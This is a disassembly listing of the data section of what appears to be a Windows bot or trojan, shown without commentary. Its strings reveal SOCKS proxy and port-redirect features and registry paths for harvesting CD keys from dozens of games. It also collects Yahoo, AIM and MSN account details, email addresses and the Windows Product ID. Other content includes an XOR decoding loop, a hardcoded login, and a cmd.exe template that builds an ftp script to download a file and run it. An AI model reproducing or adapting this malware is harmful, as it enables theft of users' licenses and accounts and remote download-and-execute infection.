aSStartingSocks db '[%s] Starting Socks4 Proxy on port %d.',0 ; DATA XREF: sub_42A150+2Co
align 10h
dd 2 dup(0)
dword_445338 dd 1000005h, 0 dword_445340 dd 5, 205h aSFinishedRed_0 db '[%s] Finished redirecting from port %d to "%s:%d".',0
; DATA XREF: sub_42B880+20Fo
align 4
dd 3 dup(0)
aSRedirectingFr db '[%s] Redirecting from Port %d to ',27h,'%s:%d',27h,'.',0
; DATA XREF: sub_42B880+3Fo
align 4
dd 2 dup(0)
aSocks5Starting db '[Socks5] Starting Redirect [Port %d :: Login: "%s:%s"].',0
; DATA XREF: ___:0042C435o
align 10h
aRoot db 'root',0 ; DATA XREF: ___:0042C3C1o
align 4
dd offset aWoot ; "Woot"
aWoot db 'Woot',0 ; DATA XREF: ___:00445408o
align 4
aNetworkFailedT db 'Network failed to start: %d',0Ah,0
align 8
aCalloc db 'calloc',0
align 10h
aSetsockopt db 'setsockopt',0
align 10h
aSocket db 'socket',0
align 4
aGethostbyname db 'gethostbyname',0
align 4
aGetservbyname db 'getservbyname',0
align 4
aTcp db 'tcp',0 ; DATA XREF: sub_42C810+49o
; sub_42C810:loc_42C8CDo
aControlSocketR db 'Control socket read failed',0 ; DATA XREF: sub_42CB10:loc_42CB32o
align 4
dd 0
aRead db 'read',0 ; DATA XREF: sub_42CC50:loc_42CDECo
align 4
aPassS db 'PASS %s',0 ; DATA XREF: sub_42D0D0+72o
align 10h
aUserS db 'USER %s',0 ; DATA XREF: sub_42D0D0+3Do
dd 0
aWrite db 'write',0
align 4
aS_0 db '%s',0Ah,0 ; DATA XREF: sub_42D1A0+3Do
aInvalidOpenTyp db 'Invalid open type %d',0Ah,0 ; DATA XREF: sub_42D2C0+203o
align 10h
dd 0
dword_4454E4 dd 524F5453h byte_4454E8 db 0 ; DATA XREF: sub_42D2C0+EDr
align 4
dword_4454EC dd 52544552h byte_4454F0 db 0 ; DATA XREF: sub_42D2C0+D3r
align 4
dword_4454F4 dd 5453494Ch byte_4454F8 db 0 ; DATA XREF: sub_42D2C0+B8r
align 4
dword_4454FC dd 54534C4Eh byte_445500 db 0 ; DATA XREF: sub_42D2C0+9Er
align 4
dword_445504 dd 45505954h, 632520h, 0 ; ___:0042E6CAo
aMissingPathArg db 'Missing path argument for file transfer',0Ah,0
; DATA XREF: sub_42D2C0+2Do
align 4
dd 2 dup(0)
aPortDDDDDD db 'PORT %d,%d,%d,%d,%d,%d',0
align 10h
aListen db 'listen',0
align 4
aBind db 'bind',0
align 10h
aGetsockname db 'getsockname',0
align 10h
aUUUUUU db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_42D580+10Eo
align 8
aPasv db 'PASV',0 ; DATA XREF: sub_42D580+B4o
align 10h
aInvalidModeC db 'Invalid mode %c',0Ah,0 ; DATA XREF: sub_42D580+77o
align 4
aInvalidDirecti db 'Invalid direction %d',0Ah,0 ; DATA XREF: sub_42D580+45o
align 10h
aTimedOutWaitin db 'timed out waiting for connection',0
align 8
aNet_write3Retu db 'net_write(3) returned %d, errno = %d',0Ah,0
align 10h
dd 2 dup(0)
aNet_write2Retu db 'net_write(2) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42DE20+FBo
align 10h
dd 2 dup(0)
aNet_write1Retu db 'net_write(1) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42DE20+DBo
align 10h
dd 2 dup(0)
aSiteS db 'SITE %s',0 ; DATA XREF: ___:0042E0DEo
dd 0
aSyst db 'SYST',0 ; DATA XREF: ___:0042E13Do
align 4
aMkdS db 'MKD %s',0 ; DATA XREF: ___:0042E1CEo
align 4
aCwdS db 'CWD %s',0 ; DATA XREF: ___:0042E24Eo
align 4
aCdup db 'CDUP',0 ; DATA XREF: ___:0042E2A7o
align 4
aRmdS db 'RMD %s',0 ; DATA XREF: ___:0042E2FEo
align 4
off_4456BC dd offset aInterlockedcom ; DATA XREF: ___:0042E35Do
; "InterlockedCompareExchange"
aLocalfileWrite db 'localfile write',0 ; DATA XREF: sub_42E400:loc_42E581o
dd 0
aShortWritePass db 'short write: passed %d, wrote %d',0Ah,0 ; DATA XREF: sub_42E400+125o
align 4
dd 0
word_4456FC dw 77h ; DATA XREF: sub_42E400+1Fr
align 10h
dword_445700 dd 25206425h, 64hdword_445708 dd 455A4953h, 732520h, 0dword_445714 dd 4D54444Dh, 732520h, 0dword_445720 dd 4F544E52h, 732520h, 0dword_44572C dd 52464E52h, 732520h, 0dword_445738 dd 454C4544h, 732520h, 0aQuit db 'QUIT',0 ; DATA XREF: sub_42EA40+10o
align 4
dword_44574C dd 1 ; sub_430460+1Fw ...
aInterlockedcom db 'InterlockedCompareExchange',0 ; DATA XREF: sub_431280+13o
; ___:off_4456BCo
align 10h
aKernel32_dll db 'KERNEL32.DLL',0 ; DATA XREF: sub_431280+6o
align 10h
aA: ; DATA XREF: sub_433A20+36o
unicode 0, <─>,0
dd 13h dup(0)
dd offset aBattlefield194 ; "[Battlefield 1942: "
dd 80000002h, 4468A4h, 446F70h, 446870h, 80000002h, 446810h
dd 446F70h, 4467E0h, 80000002h, 446788h, 446F70h, 446764h
dd 80000002h, 44671Ch, 446F70h, 446704h, 80000002h, 4466C0h
dd 446F70h, 446698h, 80000002h, 44665Ch, 446F70h, 446628h
dd 80000002h, 4465C8h, 446F70h, 44659Ch, 80000002h, 446578h
dd 446570h, 446544h, 80000002h, 44651Ch, 446570h, 446504h
dd 80000001h, 4464D4h, 4464D0h, 4464C0h, 80000002h, 446484h
dd 446F70h, 446474h, 80000002h, 446438h, 446F70h, 446424h
dd 80000002h, 4463DCh, 446F70h, 4463C0h, 80000002h, 44637Ch
dd 446F70h, 446360h, 80000001h, 446338h, 4464D0h, 446328h
dd 80000001h, 446300h, 4464D0h, 4462E0h, 80000002h, 4462A4h
dd 4462A0h, 446284h, 80000002h, 446260h, 446258h, 446240h
dd 80000001h, 446214h, 44620Ch, 4461E8h, 80000002h, 44619Ch
dd 446F70h, 446174h, 80000002h, 446120h, 446F70h, 4460E8h
dd 80000002h, 446084h, 446F70h, 446050h, 80000002h, 445FF0h
dd 446F70h, 445FD4h, 80000002h, 445F8Ch, 446F70h, 445F70h
dd 80000002h, 445F28h, 446F70h, 445F18h, 80000002h, 445EDCh
dd 446F70h, 445ECCh, 80000002h, 445E90h, 446F70h, 445E68h
dd 80000002h, 445E14h, 446F70h, 445DECh, 80000002h, 445D9Ch
dd 446F70h, 445D80h, 80000002h, 445D58h, 4464D0h, 445D44h
dd 80000002h, 445D0Ch, 446F70h, 445CDCh, 80000002h, 445C84h
dd 446F70h, 445C68h, 80000001h, 445C18h, 445C10h, 445BF4h
dd 80000002h, 445BB0h, 445BA4h, 445B8Ch, 80000001h, 445B5Ch
dd 445B50h, 445B30h, 80000002h, 445AF4h, 445C10h, 445AD4h
dd 80000002h, 445A98h, 445C10h, 1Eh dup(0)
aSoftwareUnreal db 'SOFTWARE\Unreal Technology\Installed Apps\UT2004',0
align 4
dd 2 dup(0)
aUnrealTourname db '[Unreal Tournament 2004: ',0
align 10h
dd 0
aSoftwareUnre_0 db 'SOFTWARE\Unreal Technology\Installed Apps\UT2003',0
align 10h
aUnrealTourna_0 db '[Unreal Tournament 2003: ',0
align 10h
aRegnumber db 'RegNumber',0
align 4
aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0
align 4
dd 2 dup(0)
aTheGladiators db '[The Gladiators: ',0
align 10h
dd 0
aSof2key db 'sof2key',0
align 10h
aSoftwareActivi db 'Software\Activision\Soldier of Fortune II - Double Helix',0
align 4
dd 2 dup(0)
aSoldierOfFortu db '[Soldier Of Fortune 2: ',0
align 10h
aCdkey db 'CDKey',0
align 4
aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
align 4
dd 3 dup(0)
aSoldiersOfAnar db '[Soldiers Of Anarchy: ',0
align 10h
dd 0
aSoftwareElectr db 'SOFTWARE\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edit'
db 'ion\ergc',0
align 10h
dd 3 dup(0)
aShogunTotalWar db '[Shogun: Total War: Warlord Edition: ',0
align 4
dd 2 dup(0)
aSoftwareRedSto db 'SOFTWARE\Red Storm Entertainment\RAVENSHIELD',0
align 4
dd 2 dup(0)
dd 7661525Bh, 68736E65h, 646C6569h, 203Ah, 0
aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0
align 10h
aNeverwinterNig db '[Neverwinter Nights: ',0
align 4
dd 0
aSoftwareElec_0 db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Underground\ergc'
db 0
align 10h
dd 3 dup(0)
aNeedForSpeedUn db '[Need For Speed: Underground: ',0
align 4
dd 2 dup(0)
aSoftwareElec_1 db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2\er'
db 'gc',0
dd 4 dup(0)
aNeedForSpeedHo db '[Need For Speed: Hot Pursuit 2: ',0
align 10h
aSoftwareElec_2 db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2003\ergc',0
align 4
dd 2 dup(0)
dd 4C484E5Bh, 30303220h, 203A33h, 0
aSoftwareElec_3 db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2002\ergc',0
align 10h
dd 2 dup(0)
dd 4C484E5Bh, 30303220h, 203A32h, 0
aSoftwareElec_4 db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
align 10h
aNascarRacing20 db '[Nascar Racing 2003: ',0
align 4
dd 0
aSoftwareElec_5 db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
align 4
dd 3 dup(0)
aNascarRacing_0 db '[Nascar Racing 2002: ',0
align 10h
aSoftwareElec_6 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault S'
db 'pearhead\ergc',0
align 10h
dd 4 dup(0)
aMedalOfHonorAl db '[Medal of Honor: Allied Assault: Spearhead ',0
dd 2 dup(0)
aSoftwareElec_7 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault B'
db 'reakthrough\ergc',0
align 4
dd 4 dup(0)
aMedalOfHonor_0 db '[Medal of Honor: Allied Assault: Breakthrough ',0
align 10h
aSoftwareElec_8 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\e'
db 'rgc',0
align 4
dd 3 dup(0)
aMedalOfHonor_1 db '[Medal of Honor: Allied Assault: ',0
align 4
dd 0
aSoftwareElec_9 db 'SOFTWARE\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
dd 3 dup(0)
aJamesBond007Ni db '[James Bond 007: Nightfire: ',0
align 4
dd 0
aPrvkey db 'prvkey',0
align 4
aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0
align 10h
aIndustryGiant2 db '[Industry Giant 2: ',0
align 8
aCdkey_0 db 'CDkey',0
align 10h
aSoftwareIgi2Re db 'SOFTWARE\IGI 2 Retail\CDKey',0
dd 2 dup(0)
aIgi2CovertStri db '[IGI2: Covert Strike: ',0
align 10h
aKey db 'key',0
aSoftwareIllusi db 'SOFTWARE\Illusion Softworks\Hidden & Dangerous 2',0
align 10h
aHiddenAndDange db '[Hidden and Dangerous 2: ',0
align 10h
aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0
align 8
aHalfLife db '[Half-Life: ',0
align 4
aSoftwareValveG db 'Software\Valve\Gunman\Settings',0
align 10h
aGunmanChronicl db '[Gunman Chronicles: ',0
align 4
dd 0
aSoftwareEle_10 db 'SOFTWARE\Electronic Arts\EA GAMES\Global Operations\ergc',0
align 10h
aGlobalOperatio db '[Global Operations: ',0
align 4
dd 0
aSoftwareEle_11 db 'SOFTWARE\Electronic Arts\EA Distribution\Freedom Force\ergc',0
dd 3 dup(0)
aFreedomForce db '[Freedom Force: ',0
align 4
aSoftwareEle_12 db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2003\ergc',0
align 4
dd 2 dup(0)
dd 4649465Bh, 30322041h, 203A3330h, 0
aSoftwareEle_13 db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2002\ergc',0
align 10h
aFifa2002 db '[FIFA 2002: ',0
align 10h
aKey_0 db 'Key',0
aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0
align 4
dd 2 dup(0)
aCounterStrike db '[Counter-Strike: ',0
align 4
dd 0
aSoftwareWestwo db 'SOFTWARE\Westwood\Tiberian Sun',0
align 4
dd 2 dup(0)
aCommandAndConq db '[Command and Conquer: Tiberian Sun: ',0
align 10h
aSerial db 'Serial',0
align 4
aSoftwareWest_0 db 'SOFTWARE\Westwood\Red Alert 2',0
align 4
dd 0
aCommandAndCo_0 db '[Command and Conquer: Red Alert2: ',0
align 10h
dd 2 dup(0)
aSoftwareEle_14 db 'SOFTWARE\Electronic Arts\EA GAMES\Command and Conquer Generals Ze'
db 'ro Hour\ergc',0
align 4
dd 4 dup(0)
aCommandAndCo_1 db '[Command and Conquer: Generals: Zero Hour: ',0
dd 2 dup(0)
aSoftwareEle_15 db 'SOFTWARE\Electronic Arts\EA GAMES\Generals\ergc',0
dd 3 dup(0)
aCommandAndCo_2 db '[Command and Conquer: Generals: ',0
align 10h
aSoftwareEle_16 db 'SOFTWARE\Electronic Arts\EA GAMES\Black and White\ergc',0
align 4
dd 3 dup(0)
aBlackAndWhite db '[Black and White: ',0
align 4
dd 0
aSoftwareEle_17 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
align 4
dd 3 dup(0)
aBattlefield1_0 db '[Battlefield 1942: Vietnam:',0
dd 2 dup(0)
aSoftwareEle_18 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Ro'
db 'me\ergc',0
align 10h
aBattlefield1_1 db '[Battlefield 1942: The Road To Rome: ',0
align 10h
aSoftwareEle_19 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons'
db ' of WWII\ergc',0
align 10h
dd 4 dup(0)
aBattlefield1_2 db '[Battlefield 1942: Secret Weapons Of WWII: ',0
dd 2 dup(0)
db 53h
aOftwareElectro db 'OFTWARE\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
dd 3 dup(0)
aBattlefield194 db '[Battlefield 1942: ',0 ; DATA XREF: ___:004457D0o
align 10h
aYahooS db 'yahoo: %s',0 ; DATA XREF: ___:00434FBAo
align 4
aYahooUserId db 'Yahoo! User ID',0 ; DATA XREF: ___:00434F7Eo
align 10h
aSoftwareYahooP db 'Software\Yahoo\Pager',0 ; DATA XREF: ___:00434F40o
align 4
dd 0
dword_44693C dd 3A6D6961h, 732520h, 0dword_446948 dd 65726353h, 4E206E65h, 656D61h, 0aSoftwareAmeric db 'Software\America Online\AOL Instant Messenger (TM)\CurrentVersion'
; DATA XREF: ___:00434E82o
db '\Login',0
dd 4 dup(0)
aFoundCodCdkeyS db 'Found COD CDKey (%s).',0
align 4
dd 0
aTsh3xswtypwguu db 'TSH3XSWTYPWGUUTXE660',0
align 8
aSMainS db '%s\main\%s',0
align 8
aCodkey db 'codkey',0
align 10h
aSoftwareActi_0 db 'Software\Activision\Call of Duty',0
align 8
aFoundSof2Cdkey db 'Found SOF2 CDKey (%s).',0
align 10h
dd 0
aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0
align 4
dd 0
dd 625C7325h, 5C657361h, 255C706Dh, 73h
aInstallpath db 'InstallPath',0
dd 0
dword_446A7C dd 3A6E736Dh, 732520h, 0dword_446A88 dd 6F6C6C41h, 642577h, 0aSoftwareMicr_2 db 'Software\Microsoft\MessengerService\ListCache\.NET Messenger Serv'
; DATA XREF: ___:00435447o
db 'ice',0
align 4
dd 3 dup(0)
aFoundEmailS_ db 'Found EMail (%s).',0 ; DATA XREF: ___:004353ECo
align 10h
aSoftwareMicr_1 db 'Software\Microsoft\WAB\WAB4\Wab File Name',0 ; DATA XREF: ___:004352BEo
align 4
dd 2 dup(0)
aFoundWindowsPr db 'Found Windows Product ID (%s).',0 ; DATA XREF: sub_4356F0+546o
align 4
dd 2 dup(0)
aProductid db 'ProductId',0 ; DATA XREF: sub_4356F0+52Bo
align 4
aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion',0
; DATA XREF: sub_4356F0+4FEo
align 4
dd 2 dup(0)
aHkuS db 'HKU: %s',0 ; DATA XREF: sub_4356F0+4A4o
align 8
aHkcrS db 'HKCR: %s',0 ; DATA XREF: sub_4356F0+3BBo
align 4
loc_446BB4: ; DATA XREF: sub_4356F0+2D3o
dec eax
dec ebx
inc ebx
inc ebx
cmp ah, [eax]
and eax, 73h
loc_446BBF: ; DATA XREF: sub_4356F0+1EBo
add [eax+4Bh], cl
dec esp
dec ebp
cmp ah, [eax]
and eax, 73h
loc_446BCB: ; DATA XREF: sub_4356F0+103o
add [eax+4Bh], cl
inc ebx
push ebp
cmp ah, [eax]
and eax, 73h
loc_446BD7: ; DATA XREF: ___:00435EB6o
; ___:00436110o ...
add bl, ch
add ch, bl
add eax, 0FFFFF9E8h
call fword ptr [ebx+31h]
leave
mov cx, 0FFFFh
loc_446BE8: ; CODE XREF: ___:00446BEDj
xor byte ptr [ebx+0Eh], 0FFh
inc ebx
loop loc_446BE8
; ---------------------------------------------------------------------------
db 0
dd 0
aStartMinCmd_ex db 'start /min cmd.exe /c "echo open %s %d > bla.txt && echo user %s '
; DATA XREF: ___:0043633Bo
db '%s >> bla.txt && echo binary >> bla.txt && echo get %s >> bla.txt'
db ' && echo quit >> bla.txt && ftp.exe -n -s:bla.txt && %s"',0Ah,0
dd 0Ch dup(0)
off_446CE0 dd offset off_43E1D4 ; DATA XREF: ___:off_43E318o
; ___:0043E354o
align 8
a_?avtype_info@ db '.?AVtype_info@@',0
align 10h
dd 1, 9Bh dup(0)
byte_446F70 db 0 ; DATA XREF: sub_4034E0+95o
; sub_404640+200o ...
align 4
dword_446F74 dd 0 ; sub_4245F0+11o ...
dword_446F78 dd 0 ; resolved to->KERNEL32.Process32Next ; ___:0040D3DFr ...
align 10h
dword_446F80 dd 0 ; ___:0040D345w ...
dd 8 dup(0)
dword_446FA4 dd 41h dup(0) ; ___:0040D380o ...
dword_4470A8 dd 0 ; ___:loc_40D3D4r ...
dword_4470AC dd 0 ; resolved to->KERNEL32.Process32First ; ___:0040D34Fr ...
dword_4470B0 dd 0 ; resolved to->KERNEL32.CreateToolhelp32Snapshot ; sub_40D580+CAw
dword_4470B4 dd 0 ; sub_40D580+E3r
dd 11h dup(0)
dword_4470FC dd 0 ; sub_40FF60+47Dr
dword_447100 dd 0 ; sub_40FF60+515r ...
dword_447104 dd 0 ; sub_40FF60+655r ...
dword_447108 dd 0 ; sub_40FF60+B79r ...
dword_44710C dd 0 ; sub_40FF60+74Br
dword_447110 dd 0 ; sub_40FF60+828r
dword_447114 dd 0 ; sub_40FF60+77Cr
dword_447118 dd 0 ; sub_40FF60+4DDr ...
dword_44711C dd 0 ; sub_40FF60+311r
dword_447120 dd 0 ; sub_40FF60+34Dr ...
dword_447124 dd 0 ; sub_40FF60+33Dr
dword_447128 dd 0 ; sub_40FF60+3D2r
dword_44712C dd 0 ; sub_40FF60+E93r
dword_447130 dd 0 ; sub_40FF60+1220r ...
dword_447134 dd 0 ; sub_411FE0+4DAr
dword_447138 dd 0 ; sub_40FF60+683r
dword_44713C dd 0 ; sub_40FF60+6B5r
dword_447140 dd 0 ; sub_40FF60+1252r
dd 5 dup(0)
dword_447158 dd 10h dup(0) ; ___:0040405Fo ...
db 2 dup(0)
byte_44719A db 0 ; DATA XREF: sub_409A30r sub_409AA0r
align 4
db 3 dup(0)
byte_44719F db 0 ; DATA XREF: sub_40D580+10Fr
db 0
byte_4471A1 db 0 ; DATA XREF: sub_40DB10r
word_4471A2 dw 0 ; DATA XREF: sub_40DB10+9o
dd 44h dup(0)
db 3 dup(0)
byte_4472B7 db 0 ; DATA XREF: ___:00412ECAo
; ___:00412F7Fo ...
db 3 dup(0)
byte_4472BB db 0 ; DATA XREF: sub_41F860:loc_41F89Dr
align 10h
dword_4472C0 dd 12h dup(0) ; sub_40FF60+114o
db 0
byte_447309 db 3 dup(0) ; DATA XREF: ___:00408ADEo
; sub_40FF60+159o ...
dd 11h dup(0)
db 2 dup(0)
word_447352 dw 0 ; DATA XREF: ___:00408AB5o
; sub_40FF60+132o
dd 6 dup(0)
word_44736C dw 0 ; DATA XREF: sub_40FF60+1E1r
align 10h
dd 0Ah dup(0)
db 3 dup(0)
byte_44739B db 0 ; DATA XREF: ___:00408B07o
; sub_40FF60+17Co ...
dd 12h dup(0)
dword_4473E4 dd 12h dup(0) ; sub_40FF60+F7o ...
db 0
byte_44742D db 3 dup(0) ; DATA XREF: ___:00408A40o
; sub_40FF60+D0o ...
dd 23h dup(0)
db 3 dup(0)
byte_4474BF db 0 ; DATA XREF: ___:00408B30o
; sub_40FF60+19Ao
dd 24h dup(0)
db 0
byte_447551 db 3 dup(0) ; DATA XREF: sub_425020+2Bo
; sub_425020+37o
dd 11h dup(0)
db 2 dup(0)
word_44759A dw 0 ; DATA XREF: ___:00412E9Ao
; ___:00412EB9o ...
dd 3Ch dup(0)
db 3 dup(0)
dword_44768F dd 0 ; sub_41EF30+154r ...
align 4
dd 35h dup(0)
db 0
byte_447769 db 0 ; DATA XREF: sub_41B950+18r
align 4
dd 36h dup(0)
byte_447844 db 0 ; DATA XREF: sub_40FF60+842r
align 4
dd 0Bh dup(0)
dword_447874 dd 18h dup(0) ; sub_40ED70+97o ...
db 2 dup(0)
byte_4478D6 db 0 ; DATA XREF: sub_404C70+258r
; sub_41D830+671r
align 4
dd 11h dup(0)
db 3 dup(0)
byte_44791F db 0 ; DATA XREF: sub_404C70:loc_404EE0r
; sub_41D830:loc_41DEB9r
dd 0Bh dup(0)
db 3 dup(0)
byte_44794F db 0 ; DATA XREF: sub_404C70+279o
; sub_41D830+692o ...
dd 12h dup(0)
dword_447998 dd 2Bh dup(0) ; sub_41EF30+630o ...
dword_447A44 dd 0 dd 11h dup(0)
db 0
dword_447A8D dd 0 align 4
dd 0D9h dup(0)
byte_447DF8 db 0 ; DATA XREF: sub_41EF30+146r
; sub_41EF30+5EEr
align 4
dd 3A8h dup(0)
db 2 dup(0)
word_448C9E dw 0 ; DATA XREF: sub_404640+1BDo
; sub_404B10+31o ...
db 2 dup(0)
word_448CA2 dw 0 ; DATA XREF: sub_404B10+4o
dd 1Ch dup(0)
db 2 dup(0)
word_448D16 dw 0 ; DATA XREF: sub_407660+36o
; sub_4076F0+3Eo ...
dd 26h dup(0)
dword_448DB0 dd 86h dup(0) ; sub_404C70+27Eo ...
db 3 dup(0)
byte_448FCB db 0 ; DATA XREF: sub_425640+3Bw
; sub_4256B0+7Ew ...
dd 7Fh dup(0)
db 3 dup(0)
dword_4491CB dd 0 ; sub_4256B0+4Fw ...
dword_4491CF dd 0 ; ___:004240BDw ...
dword_4491D3 dd 0 ; sub_4256B0+5Dr ...
dword_4491D7 dd 0 ; sub_4256B0+8Cr ...
dword_4491DB dd 0 ; sub_4256B0+9Dr
dword_4491DF dd 0 ; ___:004240F1r ...
byte_4491E3 db 0 ; DATA XREF: sub_425640+42w
; sub_4256B0+85w
dd 5BEh dup(0)
db 3 dup(0)
byte_44A8DF db 0 ; DATA XREF: sub_58F3BC-B34Eo
dword_44A8E0 dd 2A59h dup(0)
db 3 dup(0)
byte_455247 db 0 ; DATA XREF: ___:off_444F40o
dword_455248 dd 0EB85h dup(0)
dword_49005C dd 0B0A3h dup(0) db 0
byte_4BC2E9 db 3 dup(0) ; DATA XREF: ___:off_402009o
dd 6058h dup(0)
db 0
byte_4D444D db 3 dup(0) ; DATA XREF: ___:off_44433Co
dd 6DEh dup(0)
db 3 dup(0)
dword_4D5FCB dd 0 ; sub_4258E0+13o
align 10h
dd 39h dup(0)
db 0
byte_4D60B5 db 3 dup(0) ; DATA XREF: sub_404C20+1Eo
; sub_404C70+65o ...
dd 5 dup(0)
byte_4D60CC db 0 ; DATA XREF: sub_404C70+292w
; sub_404C70+4EEw
dword_4D60CD dd 0 ; sub_422A40:loc_4231C4r ...
align 4
dd 0
db 0
dword_4D60D9 dd 0 ; sub_404C20+2Aw
byte_4D60DD db 3 dup(0) ; DATA XREF: ___:00412EF4o
; ___:00412F17o
dd 9 dup(0)
db 3 dup(0)
dword_4D6107 dd 0 ; sub_427AD0:loc_427BC7r
align 4
dd 2Fh dup(0)
db 3 dup(0)
byte_4D61CB db 0 ; DATA XREF: sub_425870+16o
; sub_4258A0+19o
db 3 dup(0)
byte_4D61CF db 0 ; DATA XREF: sub_4257A0+4Co
dd 6Fh dup(0)
db 3 dup(0)
byte_4D638F db 0 ; DATA XREF: ___:004081C6o
; ___:00408657o ...
dd 8 dup(0)
dword_4D63B0 dd 0 dd 51h dup(0)
db 0
byte_4D64F9 db 0 ; DATA XREF: sub_426820:loc_4268D0r
; sub_426CE0:loc_426D95r ...
align 4
dd 9Eh dup(0)
db 0
dword_4D6775 dd 0 ; sub_426CE0+7Dw ...
align 4
dd 4Ah dup(0)
db 0
byte_4D68A5 db 3 dup(0) ; DATA XREF: sub_585452+86B3o
dd 1E8Fh dup(0)
db 0
byte_4DE2E5 db 3 dup(0) ; DATA XREF: ___:00419E93o
; sub_419F50+13o
dd 1EB9h dup(0)
db 3 dup(0)
byte_4E5DCF db 0 ; DATA XREF: sub_426A60+1Do
dd 21h dup(0)
db 0
byte_4E5E55 db 3 dup(0) ; DATA XREF: ___:00419EA3o
dd 235h dup(0)
db 3 dup(0)
byte_4E672F db 0 ; DATA XREF: sub_426A60+2Fo
dd 1D5h dup(0)
byte_4E6E84 db 0 ; DATA XREF: sub_404C70+299w
; sub_40FF60:loc_40FFA2r ...
byte_4E6E85 db 3 dup(0) ; DATA XREF: sub_404C70+235o
; sub_404C70+87Ao ...
dd 4 dup(0)
db 2 dup(0)
word_4E6E9A dw 0 ; DATA XREF: sub_404C70+2D4o
; ___:0040866Bo ...
dd 0Fh dup(0)
db 0
byte_4E6ED9 db 0 ; DATA XREF: sub_41F860+31w
; sub_41F860+47w ...
db 0
byte_4E6EDB db 0 ; DATA XREF: sub_418490+21o
; sub_41D830+341o ...
dd 751Eh dup(0)
dword_504354 dd 0AC6h dup(0) dword_506E6C dd 1000h dup(0) ; ___:00419A9Do ...
dword_50AE6C dd 333h dup(0) ; ___:00419AB8o ...
dword_50BB38 dd 0 ; sub_41A010+1Br ...
dd 3 dup(0)
dword_50BB48 dd 0 ; ___:0041FB3Dw ...
dword_50BB4C dd 0 ; sub_41FA90+2Aw ...
dword_50BB50 dd 0 dword_50BB54 dd 0 ; ___:0041FB5Bw
dword_50BB58 dd 0 dword_50BB5C dd 0 ; ___:0041FB67w ...
dword_50BB60 dd 0 ; ___:0041FB6Dw ...
dword_50BB64 dd 0 ; ___:00420DA9o
dword_50BB68 dd 0 ; sub_41FA90:loc_41FAB4r ...
dword_50BB6C dd 0 ; ___:0041FB81w
dword_50BB70 dd 0 ; sub_420530+41w ...
dword_50BB74 dd 0 ; sub_420530+7Fr
dword_50BB78 dd 0 ; sub_420530+92r ...
dword_50BB7C dd 0 ; sub_420530+148r
dd 3 dup(0)
dword_50BB8C dd 0 ; ___:0041C1A5o
dword_50BB90 dd 0 ; sub_423720+5r ...
dword_50BB94 dd 0 ; ___:00423EB1r ...
dd 7CEh dup(0)
dword_50DAD0 dd 6 dup(0) ; ___:00423DB2o ...
dword_50DAE8 dd 196h dup(0) ; sub_423660+6Do
dword_50E140 dd 0 word_50E144 dw 0 ; DATA XREF: sub_424E90+A9r
align 4
byte_50E148 db 0 ; DATA XREF: sub_4254E0:loc_425540r
; sub_4254E0+97w
align 4
dword_50E14C dd 0 ; resolved to->IPHLPAPI.IcmpSendEcho ; sub_426820+D9r
dword_50E150 dd 0 ; resolved to->IPHLPAPI.IcmpCreateFile ; sub_426820+45r
dword_50E154 dd 0 ; resolved to->IPHLPAPI.IcmpCloseHandle ; sub_426820+54r ...
dd 0
dword_50E15C dd 80h dup(0) ; sub_426A60+129o
dword_50E35C dd 0 dword_50E360 dd 0 dd 1Dh dup(0)
dword_50E3D8 dd 0 ; ___:0042B11Dr ...
dword_50E3DC dd 0 ; sub_42CB10:loc_42CBA6r ...
dword_50E3E0 dd 0 ; resolved to->WS2_32.connect ; sub_431280+2Dr ...
dword_50E3E4 dd 0 dword_50E3E8 dd 0 ; sub_430270r ...
dword_50E3EC dd 0 dword_50E3F0 dd 0 ; sub_42F6B0+111w ...
dword_50E3F4 dd 0 ; sub_42F6B0+F6r ...
dword_50E3F8 dd 0 ; ___:loc_4303B0r
dword_50E3FC dd 0 ; resolved to->KERNEL32.InterlockedCompareExchange ; sub_430FE0+2Cr ...
dd 2 dup(0)
dd 0
dd 13Dh dup(0)
dword_50E900 dd 10h dup(0) ; sub_430180:loc_4301B0o ...
dword_50E940 dd 8 dup(0) ; sub_42F540+25o ...
dword_50E960 dd 8 dup(0) ; sub_430690+25o ...
dword_50E980 dd 8 dup(0) ; sub_431560+84o ...
dword_50E9A0 dd 8 dup(0) ; sub_431560+8Bo ...
dword_50E9C0 dd 9 dup(0) ; sub_42F6B0:loc_42F7C7o ...
dd 0FFFFFFFFh, 3 dup(0)
dd 0FFFFFFFFh, 182h dup(0)
dd 5 dup(68899C8h), 5 dup(5E5E9809h), 5 dup(30DDB90Dh)
dd 5 dup(612EB6F6h), 5 dup(4913E5BEh), 5 dup(41A5EC5Fh)
dd 5 dup(61A98A7Ch), 5 dup(4AA86ABh), 5 dup(563C5E04h)
dd 5 dup(7915C306h), 5 dup(517A6FE4h), 1Eh dup(0)
dd 41A5EC5Fh, 10h dup(0)
dd 517A6FE4h, 58h dup(0)
